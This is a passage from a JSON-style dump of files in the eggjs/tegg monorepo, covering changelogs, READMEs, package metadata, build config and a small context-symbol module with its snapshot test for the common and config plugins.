[3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n"
  },
  {
    "path": "tegg/plugin/common/README.md",
    "content": "# `@eggjs/module-common`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/module-common.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/module-common.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/module-common\n[snyk-image]: https://snyk.io/test/npm/@eggjs/module-common/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/module-common\n[download-image]: https://img.shields.io/npm/dm/@eggjs/module-common.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/module-common\n\n## Usage\n\nThis is an internal tegg library, you probably shouldn't use it directly.\n"
  },
  {
    "path": "tegg/plugin/common/package.json",
    "content": "{\n  \"name\": \"@eggjs/module-common\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"common module\",\n  \"keywords\": [\n    \"common\",\n    \"egg\",\n    \"module\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/plugin/common\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/plugin/common\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/common/src/index.ts",
    "content": "// ctx[TEGG_CONTEXT] is the tegg context, aka `teggCtx`\nexport const TEGG_CONTEXT: symbol = Symbol.for('context#teggContext');\n// teggCtx.get(EGG_CONTEXT) is the egg context, aka `ctx`\nexport const EGG_CONTEXT: symbol = Symbol.for('context#eggContext');\n// teggCtx.get(ROOT_PROTO) is the root proto, equivalent to ctx[ROOT_PROTO]\nexport const ROOT_PROTO: symbol = Symbol.for('context#rootProto');\n"
  },
  {
    "path": "tegg/plugin/common/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"EGG_CONTEXT\": Symbol(context#eggContext),\n  \"ROOT_PROTO\": Symbol(context#rootProto),\n  \"TEGG_CONTEXT\": Symbol(context#teggContext),\n}\n`;\n"
  },
  {
    "path": "tegg/plugin/common/test/index.test.ts",
    "content": "import { expect, test } from 'vitest';\n\nimport * as exports from '../src/index.ts';\n\ntest('should export stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/plugin/common/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/plugin/common/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/plugin/config/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n\n### Features\n\n* use app.loader.getTypeFiles to generate module config file names ([#213](https://github.com/eggjs/tegg/issues/213)) ([e0656a4](https://github.com/eggjs/tegg/commit/e0656a4d59beef103a5627461d9b9c87996928e3))\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n\n### Features\n\n* impl ajv + typebox Validator ([#201](https://github.com/eggjs/tegg/issues/201)) ([9fd585d](https://github.com/eggjs/tegg/commit/9fd585de9b613466c96b73494a08a494db34ea57))\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n\n### Bug Fixes\n\n* ignore duplicated module ([#191](https://github.com/eggjs/tegg/issues/191)) ([263467f](https://github.com/eggjs/tegg/commit/263467fc43a25eb5a1670de4778de127662a201b))\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n\n### Features\n\n* scan framework dependencies as optional module ([#184](https://github.com/eggjs/tegg/issues/184)) ([a4908c6](https://github.com/eggjs/tegg/commit/a4908c6c640000c7068def57d32052cca15adf47))\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n\n### Features\n\n* support load module config with env ([#151](https://github.com/eggjs/tegg/issues/151)) ([c087226](https://github.com/eggjs/tegg/commit/c087226bd7764242fadce5622fccd9e9fee56322))\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n\n### Features\n\n* The exposed module reads the options. ([#112](https://github.com/eggjs/tegg/issues/112)) ([a52b44b](https://github.com/eggjs/tegg/commit/a52b44b753463bfdef6fbbc39f920be8eccf1567))\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Bug Fixes\n\n* fix miss agent file ([0fa496b](https://github.com/eggjs/tegg/commit/0fa496bdbb4ffa4e911fffa3e176fa7bdf03fb12))\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* impl Schedule decorator ([#52](https://github.com/eggjs/tegg/issues/52)) ([7f95005](https://github.com/eggjs/tegg/commit/7f950050b548ca542addbd7b466675da4e81ce3f))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Bug Fixes\n\n* fix miss agent file ([0fa496b](https://github.com/eggjs/tegg/commit/0fa496bdbb4ffa4e911fffa3e176fa7bdf03fb12))\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* impl Schedule decorator ([#52](https://github.com/eggjs/tegg/issues/52)) ([7f95005](https://github.com/eggjs/tegg/commit/7f950050b548ca542addbd7b466675da4e81ce3f))\n\n\n\n\n\n## [1.2.1](https://github.com/eggjs/tegg/compare/@eggjs/tegg-config@1.2.0...@eggjs/tegg-config@1.2.1) (2022-09-05)\n\n\n### Bug Fixes\n\n* fix miss agent file ([0fa496b](https://github.com/eggjs/tegg/commit/0fa496bdbb4ffa4e911fffa3e176fa7bdf03fb12))\n\n\n\n\n\n# 1.2.0 (2022-09-04)\n\n\n### Features\n\n* impl Schedule decorator ([#52](https://github.com/eggjs/tegg/issues/52)) ([7f95005](https://github.com/eggjs/tegg/commit/7f950050b548ca542addbd7b466675da4e81ce3f))\n\n\n\n## 1.1.1 (2022-06-21)\n\n\n\n# 1.1.0 (2022-06-15)\n\n\n\n# 1.0.0 (2022-02-08)\n\n\n\n# 0.2.0 (2022-01-20)\n\n\n\n## 0.1.19 (2022-01-05)\n\n\n\n## 0.1.18 (2021-12-31)\n\n\n\n## 0.1.13 (2021-11-14)\n\n\n### Features\n\n* impl standalone tegg ([af9f682](https://github.com/eggjs/tegg/commit/af9f6826ef882ef7206e80ee25433a2b19012995))\n\n\n\n## 0.1.5 (2021-09-08)\n\n\n\n## 0.1.2 (2021-09-01)\n\n\n\n# 0.1.0 (2021-07-22)\n\n\n### Bug Fixes\n\n* set publishConfig.access to public ([527f1fa](https://github.com/eggjs/tegg/commit/527f1fa8e3bcaf45ff5b3a63d90473d4a6a2e2b0))\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/tegg-config\n"
  },
  {
    "path": "tegg/plugin/config/README.md",
    "content": "# `@eggjs/tegg-config`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/tegg-config.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/tegg-config.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/tegg-config\n[snyk-image]: https://snyk.io/test/npm/@eggjs/tegg-config/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/tegg-config\n[download-image]: https://img.shields.io/npm/dm/@eggjs/tegg-config.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/tegg-config\n\nEgg plugin to load module config(module.yml/module.json)\n\n# Usage\n\nThis is an internal tegg library, you probably shouldn't use it directly.\n"
  },
  {
    "path": "tegg/plugin/config/package.json",
